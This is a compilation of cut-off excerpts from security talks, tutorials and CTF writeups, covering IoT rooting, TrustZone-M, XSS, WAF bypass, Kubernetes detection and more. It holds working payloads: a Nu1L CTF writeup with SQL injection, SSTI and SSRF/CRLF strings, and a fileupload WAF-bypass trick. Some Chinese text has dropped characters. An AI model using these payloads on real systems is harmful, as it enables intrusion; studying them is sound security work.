MOTIVATION (08.08.2021) DEFCON 29  Dennis Giese 6 Why do we want to root devices?  Play with cool hardware  Stop devices from constantly phoning home  Use custom Smart Home Software  Verification of privacy claims (08.08.2021) DEFCON 29  Dennis Giese 7 Why do we not trust IoT?  Devices are connected to the home network  Communication to the cloud is encrypted, content unclear  Developing secure hardware and software is hard  Vendor claims contradict each other (08.08.2021) DEFCON 29  Dennis Giese 8 Nothing is sent to the cloud? https://global.roborock.com/pages/roborock-s6-maxv (08.08.2021) DEFCON 29  Dennis Giese 9  but you can access the camera? https://global.roborock.com/pages/roborock-s6-maxv (08.08.2021) DEFCON 29  Dennis Giese 10 Problem of used devices  Used devices might be problematic  Previous owner installed rootkit  New owner cannot verify software  Result: Device might behave maliciously in your network  Rooting


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Breaking TrustZone-M PRIVILEGE ESCALATION ON LPC55S69 What are two firmware engineers doing at DEFCON? Designing hardware Root of Trust for Oxide Computer Company In-house, microkernel OS written in Rust Leverage publicly-available, security-focused microcontroller Plan to open-source everything by time product ships Design goals A strong assertion regarding the integrity and authenticity of RoT firmware and hardware configuration A tamper-resistant, impersonation-resistant unique ID A mechanism for extending trust to additional devices A mechanism for re-establishing trust after a compromise Due diligence on candidate microcontrollers led to surprising findings 1 2 3 4 1 2 3 OXIDE BREAKING TRUSTZONE-M NXP LPC55S69 OXIDE BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M NPX LPC55S69  Dual-core Cortex-M33   CPU0 has TZ-M and MPU CPU1 is wrapped with MSW     AES, SHA, and GF(p) accelerators SRAM-based PUF w/ protected key path to AES accelerator Secure boot (RSA-2048 or RSA-4096) Debug Authentication (RSA-2048 or RSA-4096) OXIDE Is this microcontroller actually secure   Why should we believe what the marketing says? Documentation was frequently unclear and confusing BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M FROM UM11126 OXIDE BREAKING TRUSTZONE-M FROM AN12283 OXIDE Undocumented Features  EZH     From AN12868 Custom core with single-cycle I/O access Intended for wire protocol conversions NXP only acknowledges existence to high-volume customers  DICE CDI computation  ROM patch controller  Defeaturized by (partially) removing details from documentation BREAKING TRUSTZONE-M OXIDE BREAKING TRUSTZONE-M Undocumented Features  EZH     From AN12868 Custom core with single-cycle I/O access Intended for wire protocol conversions NXP only acknowledges existence to high-volume customers  DICE CDI computation  ROM patch controller  Defeaturized by (partially) removing details from documentation TrustZone-M 101 OXIDE BREAKING TRUSTZONE-M OXIDE What is TrustZone-M? The Armv8-M ar


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考勤机的管理方式 本 地 管 理 局 域 网 管 理 互 联 网 管 理 星耀实验室是斗象科技网络安全发展战略的重要组成 星耀之名取自山海经中的星耀独角兽实验室专 注于前沿创新的安全技术的研究覆盖包括红蓝对抗 漏洞挖掘IoT及移动安全等各安全细分领域通过研 究积累和内部研发为公司安全能力支撑保驾护航 设备的外部通信 从简化后的通信架构来看我们对设备的漏洞 挖掘可以从设备与云端的通信以及设备与用 户的通信这两方面入手 流量分析 设备启动后会主动连接到 tls.*****.com 但是没有校验 服务器的证书 流量分析 设备=>云端 云端=>设备 设备向云端上传了自身的信息 包括固件版本和操作系统类型 云端返回的数据中包含了大 量不明意义的二进制数据 设备采用了FreeRTOS系统首先考虑植入恶意固件 但是修改这里的固件版本无法触发OTA 继续分析设备与云端的通信意义不大 BLE通信分析 移动端 (Android) App Log 开启ADB即可获 取日志 需要App打印BLE通信 相关Log Hook关键API Hook系统关键 API即可通用 性强 需要熟悉移动安全相 关知识 通信信道 空口嗅探 硬件软件都有现 成的解决方案 无法处理加密通信 设备端 调试设备 无奈之选 需要分析固件并开 启设备调试接口 BLE通信分析 针对本考勤机的情况最简单的方法是 直接嗅探通信通信内容均以明文传输 通过分析可以知道通信数据的大体结构 BLE通信分析 用户在App中可以执行的操作与设备可以执行的命令对应关系如下 激活/绑定 getActiveInfo -> getWifiInfo -> connectWifi -> active 切换WiFi getWifiInfo -> handshake -> connectWifi 重置设备 resetDevice 获取设备状态 getActiveInfo 获取设备扫描的WiFi列表 getWifiInfo 控制设备连接到指定WiFi connectWifi 通知设备进行绑定操作 active 握手命令用于身份认证 handshake 重置设备 resetDevice 重置设备时没有使用handshake进行身份认证 所以通过BLE通信可以未授权重置设备 一点小插曲 实际上我们是通过调试设备来获取BLE通信数据的 MCU提供了SDK及 示例代码可以 用来分析BLE协议 栈的使用方式 示例代码中有一部分日志这些字符串 在固件中同样也出现了通过交叉引用 可以确定固件中BLE协议栈的相关代码 一点小插曲 一点小插曲 使用gdb调试脚本在关键代码处下断点 并以hexdump的形式输出BLE通信数据 至此我们发现可以在不需要任何前置条件的情况下进行中间人攻击 未授权重置 设备 未校验TLS 证书  劫持设备连接到指 定WiFi 那么控制了云端与设备之间的通信后有何危害 要解答这个问题需要先对设备固件进行分析 MITM篡改通 信数据 拆解设备 PCF8563 RTC芯片 GD25Q128 128M-bit Flash芯片 ESP32 MCUxtensa架构 ESP32 GD25Q128 PCF8563 UART 拆解设备 ESP32需要Flash遵守固定的分区格式[1] 结合串口打印的数据提取ota_0分区 使用IDA加载ota_0分区[2] 拆解设备 TDI TDO TCLK TMS GND VDD 可以使用JTAG调试 ESP32[3]但是会在执行 到某一条命令后中断 拆解设备 多次尝试后发现I2C接口初始化 完成后就会中断JTAG调试 由芯片手册可以发现JTAG接口的TDO 引脚可以复用作I2C的SDA引脚 PCF8563芯片使 用了I2C接口 跳过I2C初始化之后设备可以正常调试但是 获取不到正确的日期时间 准备工作完成可以开始分析固件了 分析固件 从字符串入手逆向OTA流程 分析固件 被动等待设备进行OTA 查询耗时太长 故考虑通过调试触发 OTA更新 OTA查询请求每隔一小时触发一次 分析固件 通过调试触发OTA流程 由atmStateSync请求查询云端是否有新版本固件 (1)设备发送给云端的的设备固件版本号 (2)云端最新的固件版本 (3)OTA镜像的URL (4)OTA镜像的MD5校验 (1) (2) (3) (4) 分析固件 启动固件更新需要两个条件满足其一 分析固件 通过HTTP请求获取固件 HTTP Response Header中需包含OTA镜像长度MD5校验值 和Content-Type 分析固件 通过MD5检查后还需要检查OTA镜像的hash值 检查通过后镜像会被写入OTA分区 分析固件 启动时bootloader读取OTA分区并进行校验 利用设备的OTA功能 我们有了一条完整的漏洞链


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Betrayed by the keyboard How what you type can give you away Matt Wixey Research Lead, PwC UK Cyber Security www.pwc.com Building a secure digital society. PwC  2 Disclaimer  This content is presented for educational purposes only  What this presentation isnt PwC  3 Introduction Matt Wixey  Research Lead for the Cyber Security BU  Work on the Ethical Hacking team  PhD student at UCL  Previously worked in LEA doing technical R&D PwC  4 Why this talk?  Based on some research I did at UCL  Interest in side-channel attacks  Humans have side-channels too  Previous work on forensic linguistics  First degree = English Literature and Language PwC  5 Agenda  What is attribution?  Problems  Case Linkage Analysis  Experimentation  Results  Implications  Summary PwC  6 What is attribution?  Why would we want to do it?  Benefits  Types  Approaches PwC  7 What is attribution?  Identifying an attackers location?  Hunker et al, 2008; Wheeler and Larsen, 2003  Identify the country or organisation behind an attack?  Rid and Buchanan, 2014  Determining who is responsible for a hostile cyber act?  Mejia, 2014  We must find a person, not a machine  Clark and Landau, 2011 PwC  8 Benefits of attribution  Deterring future attacks  Improving defences  Interrupting and disrupting attacks (Hunker et al, 2008)  Does attribution actually lead to deterrence? (Guitton, 2012)  Regardless, attribution is a desirable outcome (depending on which side youre on!) PwC  9 Types of attribution  Hutchins et al, 2011: Atomic Computed Behavioural PwC  10 Problems with attribution  Hiding atomic IOCs  Issues with computed IOCs  Lack of tangible benefits from behavioural IOCs PwC  11 Hiding atomic IOCs  These are the most effective identifiers  Easy to resolve (usually)  But also easiest to spoof/anonymise/obfuscate PwC  12 Issues with computed IOCs  Changes to malware make it harder  Other methods:  Correlating activity with office hours in timezones (Rid & Buchanan, 2014; CloudHopper, 2017)  Deanonymising de


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# XSS ## XSS 简介 跨站脚本Cross-Site ScriptingXSS是一种经常出现在 WEB 应用程序中的计算机安全漏洞是由于 WEB 应用程序对用户的输入过滤不足而产生的攻击者利用网站漏洞把恶意的脚本代码注入到网页中当其他用户浏览这些网页时就会执行其中的恶意代码对受害用户可能采取 Cookies 资料窃取会话劫持钓鱼欺骗等各种攻击 ### 反射型 XSS 反射型跨站脚本Reflected Cross-Site Scripting是最常见也是使用最广的一种可将恶意脚本附加到 URL 地址的参数中 反射型 XSS 的利用一般是攻击者通过特定手法如电子邮件诱使用户去访问一个包含恶意代码的 URL当受害者点击这些专门设计的链接的时候恶意代码会直接在受害者主机上的浏览器执行此类 XSS 通常出现在网站的搜索栏用户登录口等地方常用来窃取客户端 Cookies 或进行钓鱼欺骗 服务器端代码 ```php <?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> ``` 可以看到代码直接引用了 `name` 参数并没有做任何的过滤和检查存在明显的 XSS 漏洞 ### 持久型 XSS 持久型跨站脚本Persistent Cross-Site Scripting也等同于存储型跨站脚本Stored Cross-Site Scripting 此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本攻击者事先将恶意代码上传或储存到漏洞服务器中只要受害者浏览包含此恶意代码的页面就会执行恶意代码持久型 XSS 一般出现在网站留言评论博客日志等交互处恶意脚本存储到客户端或者服务端的数据库中 服务器端代码 ```php <?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?> ``` 代码只对一些空白符特殊符号反斜杠进行了删除或转义没有做 XSS 的过滤和检查且存储在数据库中明显存在存储型 XSS 漏洞 ### DOM XSS 传统的 XSS 漏洞一般出现在服务器端代码中而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞所以受客户端浏览器的脚本代码所影响客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型因此能够决定用于加载当前页面的 URL换句话说客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容它不依赖于服务器端的数据而从客户端获得 DOM 中的数据如从 URL 中提取数据并在本地执行另一方面浏览器用户可以操纵 DOM 中的一些对象例如 URLlocation 等用户在客户端输入的数据如果包含了恶意 JavaScript 脚本而这些脚本没有经过适当的过滤和消毒那么应用程序就可能受到基于 DOM 的 XSS 攻击 HTML 代码 ```html <html> <head> <title>DOM-XSS test</title> </head> <body> <script> var a=document.URL; document.write(a.substring(a.indexOf("a=")+2,a.length)); </script> </body> </html> ``` 将代码保存在 domXSS.html 中浏览器访问 ```


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An Analysis of the State of Electron Security in the Wild Bachelors Thesis Benjamin Altpeter August 1, 2020 supervised by Prof. Dr. Martin Johns Declaration of Authorship I hereby declare that the thesis submitted is my own unaided work. All direct or indirect sources used are acknowledged as references. I am aware that the thesis in digital form can be examined for the use of unauthorized aid and in order to determine whether the thesis as a whole or parts incorporated in it may be deemed as plagiarism. For the comparison of my work with existing sources I agree that it shall be entered in a database. Further rights of reproduction and usage, however, are not granted here. This paper was not previously presented to another examination board and has not been published. Braunschweig, on August 1, 2020 Benjamin Altpeter Contents 1. Introduction 6 2. Background 8 2.1. Electron Architecture . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2. A Basic App . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 3. Electron Attack Vectors 11 3.1. Attack Vectors Shared with Web Applications . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1.1. OWASP Top Ten . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1.2. Additional Attack Vectors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 3.2. Attack Vectors Specific to Electron . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 3.2.1. Not Enabling Security Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3.2.2. Opening URLs with shell.openExternal() . . . . . . . . . . . . . . . . . . . . . . . . 20 3.2.3. Missing Permission Request Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.2.4. Insecure Protocol Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 3.2.5. Introducing Privileged APIs to the Window Object . . . . . . . .


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@Y4tacker Java件上传杀器-绕waf(针对commons- fileupload组件) 来个中的标题哈哈哈灵感来源于昨晚赛博群有个师傅@我是killer发了篇新章在那 篇章当中提到了在 filename="1.jsp" 的filename字符左右可以加上些空字符 %20 %09 %0a %0b %0c %0d %1c %1d %1e %1f 如 %20filename%0a="1.jsp"(直接 url编码为了区别) 这样导致waf匹配不到我们上传件 名我们上传依然可以解析我对 次进了更深的研究也是对师傅章对次补充下为了衔接还是先梳理遍看过 赛博群的师傅可以先跳过前的部分直接看最后部分(毕竟我想发个博客) 上传代码 针对使commons-fileupload处理件上传 public class TestServlet extends HttpServlet { public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { String path = "/Users/y4tacker/Desktop/JavaStudy/testtest"; try { ServletFileUpload servletFileUpload = new ServletFileUpload(new DiskFileItemFactory()); servletFileUpload.setHeaderEncoding("UTF-8"); List<FileItem> fileItems = servletFileUpload.parseRequest(request); for (FileItem fileItem : fileItems) { response.getWriter().write(fileItem.getName()); fileItem.write(new File(path+"/"+fileItem.getName())); 前置分析 将断点打在 servletFileUpload.parseRequest(request) ,跟 getItemIterator 直往下 到 org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl#File ItemIteratorImpl Content-Type 要开头为 multipart/ } }catch (Exception e){ } } } 接下来对流的处理部分忽略到下有个 this.boundary = FileUploadBase.this.getBoundary(contentType); ,因为件上传的格式就是,可以猜 出这就是解析这部分 当时师傅跳过中间些部分到了 org.apache.commons.fileupload.FileUploadBase#getFileName(java.lang.Strin g) 在 parser.parse(pContentDisposition, ';'); 简单说下作是先分号将 form- data; name="file"; filename="1.jsp" 分割然后获取 等于号前的值这我们看看 到getToken当中的栈便家调试 ------WebKitFormBoundaryTyBDoKvamN58lcEw Content-Disposition: form-data; name="filename"; filename="1.jsp" 233 ------WebKitFormBoundaryTyBDoKvamN58lcEw-- 这有个到 Character.isWhitespace 也就是@我是killer师傅提到的点也是我们开篇 前中说到的利式就不多提了 正开启 看看 getFileName 调前其实传了个 headers 这个 headers 来源于上的 this.multi getToken:99, ParameterParser (org.apache.commons.fileupload) parseToken:162, ParameterParser (org.apache.commons.fileupload) parse:311, ParameterParser (org.apache.commons.fileupload) parse:279, ParameterParser (org.apache.commons.fileupload) parse:262, ParameterParse


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# ModSecurity实现waf ## 安装与使用 ``` # 操作系统Centos7 # 解决依赖环境 yum install gcc.x86_64 libxml2-devel.x86_64 httpd.x86_64 httpd-devel.x86_64 pcre2.x86_64 pcre2-devel.x86_64 -y # 安装mod_security yum install mod_security.x86_64 -y # 查看http 模块结果如图 httpd -M | grep security ``` ![modsecurity-waf-1](https://github.com/bloodzer0/ossa/raw/master/application-security/security-defense/img/modsecurity-waf-1.png) ``` # 启动服务 systemctl start httpd.service # mod_security配置文件 /etc/httpd/conf.d/mod_security.conf # 规则目录 /etc/httpd/modsecurity.d/activated_rules # 安装mod_security规则 yum -y install mod_security_crs # 查看规则 ``` ![modsecurity-waf-2](https://github.com/bloodzer0/ossa/raw/master/application-security/security-defense/img/modsecurity-waf-2.png) ``` # 测试urlhttp://10.10.10.5/<script> # 查看日志 tail -n 1 -f /etc/httpd/logs/error_log ``` ![modsecurity-waf-3](https://github.com/bloodzer0/ossa/raw/master/application-security/security-defense/img/modsecurity-waf-3.png) ``` # 查看模块日志 tail -f /var/log/httpd/modsec_audit.log ``` ![modsecurity-waf-4](https://github.com/bloodzer0/ossa/raw/master/application-security/security-defense/img/modsecurity-waf-4.png) ## ModSecurity控制台waf-fle [官网地址](http://www.waf-fle.org/) [在线测试地址](http://demo.waf-fle.org/waf-fle/) ``` 测试账号waffle-demo 测试密码waffle-demo ``` ## 参考资料 [owasp mod_security](https://github.com/SpiderLabs/owasp-modsecurity-crs)


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Auto-adapting Stealth Communication Channels Daniel J. Burroughs University of Central Florida About myself  Assistant Professor at UCF  Research includes  Correlation of distributed network sensors  Law enforcement data sharing network Correlation of IDS/Sensors  Previous research project I worked on  Presented at DefCon 9 & 10  Used Bayesian Multiple Hypothesis Tracking to analyze reports from multiple IDS scattered throughout a large network  Attempt to determine if events being detected are related or not Escalation of the Situation  That got me thinking  How would you defeat such a system (if it worked)  How could you avoid detection  Not the detection of an attack, but the ongoing communication  Or, how could you secretly communicate on a network Heres the question  How do you communicate on a network without letting anyone know that you are doing it?  First thing to figure out  How do they detect what is going on?  IDS  Firewalls  Observers IDS  Two basic forms of detection  Anomaly and Signature  Signature Detection  Known attacks / events  Only way to avoid is to use an unknown method or an ever changing method  Anomaly detection  Doesnt detect misuse  detects unusual behavior  Only chance someone has at detecting an unknown attack / event Anomaly Detection Avoidance  If we use a random or changing communication channel, signature detection can be avoided  How do we avoid looking unusual?  Detection of the network baseline  First stage: Discover what the network looks like  What traffic is allowed?  What does normal traffic look like?  Do this passively Detection of Entropy in the Network  Some aspects of the network traffic are going to have a low entropy, other will have a high entropy  Information can best be hidden in a high entropy data stream  Lots of available channels  Timing  Checksums  All the other data in a packet Overall Concept  Detect existing network baseline conditions  What does normal look like?  Select potential communications channels


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quota === 显示磁盘已使用的空间与限制 ## 补充说明 **quota命令** 用于显示用户或者工作组的磁盘配额信息输出信息包括磁盘使用和配额限制 ### 语法 ```shell quota(选项)(参数) ``` ### 选项 ```shell -g列出群组的磁盘空间限制 -q简明列表只列出超过限制的部分 -u列出用户的磁盘空间限制 -v显示该用户或群组在所有挂入系统的存储设备的空间限制 -V显示版本信息 ``` ### 参数 用户或者工作组指定要显示的用户或者工作组 ### 实例 我们可以限制某一群组所能使用的最大磁盘配额而且可以再限制某一使用者的最大磁盘配额 好比做一个收费的应用vip可以得到空间更大一些另外以 Link 的方式来使邮件可以作为限制的配额更改`/var/spool/mail` 这个路径不2需要重新再规划一个硬盘直接使用 Link 的方式指向 /home 或者其它已经做好的 quota 磁盘就可以这通常是用在原本规划不好但是却又不想要更动原有主机架构的情况中 要求Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额 且这两个使用者都是挂在 qgroup 组里面的每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制并且 soft limit 为 45 MB而宽限时间设定为 1 天 但是在一天之内必须要将多余的文件删除掉否则将无法使用剩下的空间 gquota 这个组考虑最大限额所以设定为 90 MB注意这样设置的好处是富有弹性好比现在的邮件服务那么多用户承诺给用户每人最大空间为数GB然而人们不可能每人都会使用那么大的空间所以邮件服务的总空间实际上肯定不是注册客户数乘以数GB否则这样得多大啊 ```shell [root@localhost ~]# groupadd qgroup [root@localhost ~]# useradd -m -g qgroup quser1 [root@localhost ~]# useradd -m -g qgroup quser2 [root@localhost ~]# passwd quser1 [root@localhost ~]# passwd quser2 [root@localhost ~]# df ===> 自己找一个合适的分区来做实验这里用/disk2 Filesystem 1K-blocks Used Available Use% Mounted on /dev/hda1 5952252 3193292 2451720 57% / /dev/hdb1 28267608 77904 26730604 1% /disk2 /dev/hda5 9492644 227252 8775412 3% /disk1 [root@localhost ~]# vi /etc/fstab LABEL=/ / ext3 defaults 1 1 LABEL=/disk1 /disk1 ext3 defaults 1 2 LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 /dev/hda3 swap swap defaults 0 0 ``` 注意多了`usrquota,grpquota`在`defaults,usrquota,grpquota`之间都没有空格务必正确书写这样就算加入了 quota 的磁盘格式了不过由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写所以这个时候可以选择重新开机 (reboot) 重新`remount filesystem`来驱动设定值 ```shell [root@localhost ~]# umount /dev/hdb1 [root@localhost ~]# mount -a [root@localhost ~]# grep '/disk2' /etc/mtab /dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0 ``` 事实上也可以利用 mount 的 remount 功能 ```shell [root@localhost ~]# mount -o remount /disk2 ``` 这样就已经成功的将 filesystem 的 quota 功能加入 扫瞄磁盘的使用者使用状况并产生重要的 aquota.group 与 aquota.user ```shell [root@localhost ~]# quotacheck -avug quotacheck: Scanning /dev/hdb1


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Credit Cards: Everything You have Ever Wanted to Know Robert hackajar Imhoff-Dousharm A brief History  1950 DinersClub  1958 American Express  1958 BankAmericard (Visa)  1966 MasterCard International (ICA)  1986 Discover Card Technology  Knuckle Buster's  Dial-Up Authorization Terminal  High Speed Leased Lines  Gateway Processor's  Co-op Leased Lines  Online API Gateways Marketing & Technology  Smart Cards  Virtual One Time Use Cards  Gift Cards  Secure Cards  Easy Pay RFID Cards Physical Fraud Features  Embossed Card Number  Card Vendors Logo  Card Vendors Hologram  Card Vendors Embossed Cursive Letter  First 4-digits non-embossed  Expiration Date  Magnetic Strip  Signature Panel  CVV2 Code Credit Card Magnet Data  2 Tracks used for credit cards  3rd Track used for meta data, non credit cards  Review of Tracks 1 & 2 Transaction Flow - Authorization  Initial Authorization  FEP Hand Off  Back End / Merchant Link  Issuing Bank Authorization  FEP Record Update  Terminal Signature Printout Transaction Flow - Settlement  Close Out Terminal  Send Closeout request to FEP  Send Totals, individual transactions, Totals  FEP Record Update  FEP Batch Close to Issuing Banks  Money is Settled to MSP  MSP Funds Merchant Data Storage  Grab ass with your personal data  Known sources of data storage  Possible sources data may be stored  Extent of Information Stored  High Risk Merchants (for information leakage)  Internet Merchants Questions & Answers  All questions accepted on topics covered from last three DefCon talks  Some topics NOT covered during main talk, reserved for you to ask here  Thank You for 3 great years of Credit Card Security Talks


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# shark on wire 1 Forensics, 150 points ## Description: > We found this packet capture. Recover the flag. ## Solution: A network capture was attached. ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_1# tshark -r capture.pcap | head Running as user "root" and group "root". This could be dangerous. 1 0.000000 192.168.2.1  239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 2 1.000498 192.168.2.1  239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 3 2.001016 192.168.2.1  239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 4 3.002419 192.168.2.1  239.255.255.250 SSDP 216 M-SEARCH * HTTP/1.1 52688 1900 5 14.589681 192.168.2.1  192.168.2.255 BROWSER 243 Local Master Announcement LAPTOP-HCSFMST7, Workstation, Server, NT Workstation, Potential Browser, Master Browser 138 138 6 21.094272 fe80::8dd3:64c9:4ef3:82a3  ff02::1:3 LLMNR 84 Standard query 0x724e A wpad 50462 5355 7 21.094285 192.168.2.1  224.0.0.252 LLMNR 64 Standard query 0x724e A wpad 50462 5355 8 21.506682 fe80::8dd3:64c9:4ef3:82a3  ff02::1:3 LLMNR 84 Standard query 0x724e A wpad 50462 5355 9 21.506697 192.168.2.1  224.0.0.252 LLMNR 64 Standard query 0x724e A wpad 50462 5355 10 35.861119 Vmware_b9:02:a9  Broadcast ARP 60 Who has 10.0.0.5? Tell 10.0.0.6 ``` The following command searches the UDP streams for the flag format: ```console root@kali:/media/sf_CTFs/pico/shark_on_wire_1# PCAP=capture.pcap; END=$(tshark -r $PCAP -T fields -e udp.stream | sort -n | tail -1); for ((i=0;i<=END;i++)); do tshark -r $PCAP -Y "udp.stream eq $i" -T fields -e data.text -o data.show_as_text:TRUE 2>/dev/null | tr -d '\n' | grep "picoCTF"; if [ $? -eq 0 ]; then echo "(Stream #$i)"; fi; done Running as user "root" and group "root". This could be dangerous. picoCTF{StaT31355_636f6e6e} (Stream #6) picoCTF{N0t_a_fLag} (Stream #7) ``` The flag was found in the sixth stream.


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CTF WriteUp By Nu1L Author:Nu1L CTF WriteUp By Nu1L WEB carefuleyes simpleflask ezflask sssrfme babyshop XWIKI say hello to the world PWN vmpwn sandbox card babyqemu Reverse PicCompress Checkin EasyRe Simulator WannaFlag InfaintRe Misc signin oldmodem trihistory crymisc RIG capture v for Vendetta GACTF FeedBack Crypto square babycrypto elgaml_rsa da Vinci after rsa ezAES what_r_the_noise WEB carefuleyes www.zip simpleflask ezflask admin.func_globalsadminpath http://149.28.226.175:10000/h4rdt0f1nd_9792uagcaca00qjaf XM Content-Disposition: form-data; name="upfile"; filename="-1'union select 1,username,3,4,5 from user limit 0,1#.jpg" oldname=0'union select 1,(select username from `user` where `privilege`='admin'),3,4,'5&newname=bbbbbbb qweqweqwe oldname=0'union select 1,(select password from `user` where `privilege`='admin'),3,4,'5&newname=bbbbbbb class XCTFGG{ private $method; private $args; public function __construct($method, $args) { $this->method = "login"; $this->args = array("username"=>"XM","password"=>"qweqweqwe"); } } {{app.__call__.__globals__["bui".__add__("ltins")]} name= {{app.__init__.__globals__["__bui".__add__("ltins__")].open("/fl".__add__("ag" )).read()}} HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 316 Server: Werkzeug/1.0.1 Python/2.7.18 http 302 redirect + sstiflag sssrfme srfredismodule get shellphpflaskflaskurllib3 crlf injectionredis babyshop .git init.phpclass "" storage sessionPHPSESSIDsessionlfi Date: Sat, 29 Aug 2020 02:20:36 GMT import flask from xxxx import flag app = flask.Flask(**name**) app.config['FLAG'] = flag @app.route('/') def index(): return open('app.txt').read() @app.route('/[path:hack](path:hack)') def hack(hack): return flask.render_template_string(hack) if **name** == '**main**': app.run(host='0.0.0.0',port=5000) http://121.36.199.21:10809/?url=http://u:p@127.0.0.1:6379@118.24.185.108/ http://121.36.199.21:10809/?url=http://u:p@127.0.0.1:5000@118.24.185.108/? url=http://127.0.0.1:6379/%250d%250aAUTH


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MouseJack: Injecting Keystrokes into Wireless Mice Marc Newlin / marc@bastille.net / @marcnewlin Marc Newlin Security Researcher @ Bastille Networks Agenda 1. Overview 2. Research Process 3. Protocols and Vulnerabilities 4. Vendor Responses 5. Demo 1. Overview Types of Vulnerabilities  Forced Device Pairing  Keystroke Sniffing  Unencrypted Keystroke Injection  Encrypted Keystroke Injection  Malicious Macro Programming  Denial of Service Affected Vendors  AmazonBasics  Anker  Dell  EagleTec  GE  Gigabyte  HDE  Hewlett-Packard  Insignia  Kensington  Lenovo  Logitech  Microsoft  RadioShack  ShhhMouse  Toshiba Related Work Thorsten Schroeder and Max Moser  Practical Exploitation of Modern Wireless Devices (KeyKeriki)  Research into XOR encrypted Microsoft wireless keyboards Travis Goodspeed  Promiscuity is the nRF24L01+s Duty  Research into nRF24L pseudo-promiscuous mode functionality Samy Kamkar  KeySweeper  Microsoft XOR encrypted wireless keyboard sniffer Common Transceivers  General purpose transceivers with proprietary protocols  Mouse/keyboard specific transceivers used as-is  All devices use 2.4GHz GFSK  Combination of protocol weaknesses and implementation flaws Nordic Semiconductor nRF24L  2.4GHz general purpose transceivers  250kbps, 1Mbps, 2Mbps data rates  0, 1, or 2 byte CRC  2400-2525MHz, 1MHz steps  XCVR only or 8051-based SoC nRF24L Family Shockburst and Enhanced Shockburst Texas Instruments CC254X  2.4GHz general purpose transceivers  Used in some Logitech keyboards and mice  Logitech firmware is OTA compatible with nRF24L based devices  All we care about is that they work like the nRF424L MOSART Semiconductor  Undocumented transceiver  Appears to have mouse/keyboard logic baked in  No encryption  Most common with second tier vendors Signia SGN6210  (Mostly) undocumented transceiver  General purpose transceiver  No encryption  Only found (by me) in Toshiba mice and keyboards GE Mystery Transceiver  Undocumented transceiver  No idea who makes this chip


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KUBERNETES中的异常活动检测 About me 0 1 @9ian1i 朱思宇 blue teamer入侵对抗业余安全开发阿里云融媒体安全 DEFCON Blue Team VillageBlack Hat Arsenal 演讲者 WatchAD  AD Security Intrusion Detection System crawlergo  A powerful browser crawler for web vulnerability scanners ??? - kubernetes abnormal activity detection and blocking system 开源安全项目 安全风险 安全防护 K8S安全风险与防护现状 0 2 Threat matrix for Kubernetes 0 3 K8S安全防护现状 *检测能力数据来自各家官方网站文档 https://docs.microsoft.com/en-us/azure/security-center/alerts-reference#alerts-k8scluster https://help.aliyun.com/document_detail/191144.html#title-seo-no0-8zv Alibaba Cloud Google Cloud Azure Cloud 0 AWS Cloud 0 7 云厂商 15 K8S集群异常活动检测项数量 具备相关能力的国外安全厂商 除了云厂商国内普遍对K8S安全防护关注不够还停留在基线加固阶段 04 检测与对抗 05 Architecture based of audit logs detection 0 6 UI User Interface CLI Co mman d Lin e in terface API Server Master AuditLog Logtail Agent MQ Threat Analytics Alerts for suspicious activities Node 1 Node 2 Node n 0 7 About k8s auditing *审计策略格式样例 k8s审计事件日志可记录访问API Server的所有请求配合审 计策略设置能记录请求与响应的详细数据 每个Master节点上的审计日志并不会相互同步需要收集所 有Master节点 它能记录下面三个关键问题  用户身份与授权信息  请求的操作与资源详情  请求的结果与响应 0 8 User Interface Master etcd API Server Control- manager scheduler ns default-token-xxxxx sa-token-xxxxx other-token-xxxxx Host Secrets Node Pod Pod Compromised container Web App Access API Server Master A Master B Master N API Server API Server API Server 负载 均衡 6443 8080 容器集群渗透工具 匿名登录尝试 集群信息探测 0 9 SA Suspicious Activity 通过对SA进行行为学习记录建立操作基线超出则告警 1 0 Honeypot Account ns Node Secrets default-token-xxxxx normal-sa-token-xxxxx fake-admin-token-xxxxx ... Pod A Pod B Host OS file: ~/.kube/kubeconfig 投放 蜜饵账户 ... 1 1 About k8s RBAC 1 2 Privilege Escalation  RBAC rolebinding/bind hacker API Server Create rolebinding auditing normalaccount cluster-admin role admin privileges account 1 3 Privilege Escalation  RBAC createpod and SA bind hacker createpod privilege create pod req API Server pod send token Get admin JWT token 1 4 Certificate Authentication = Golden 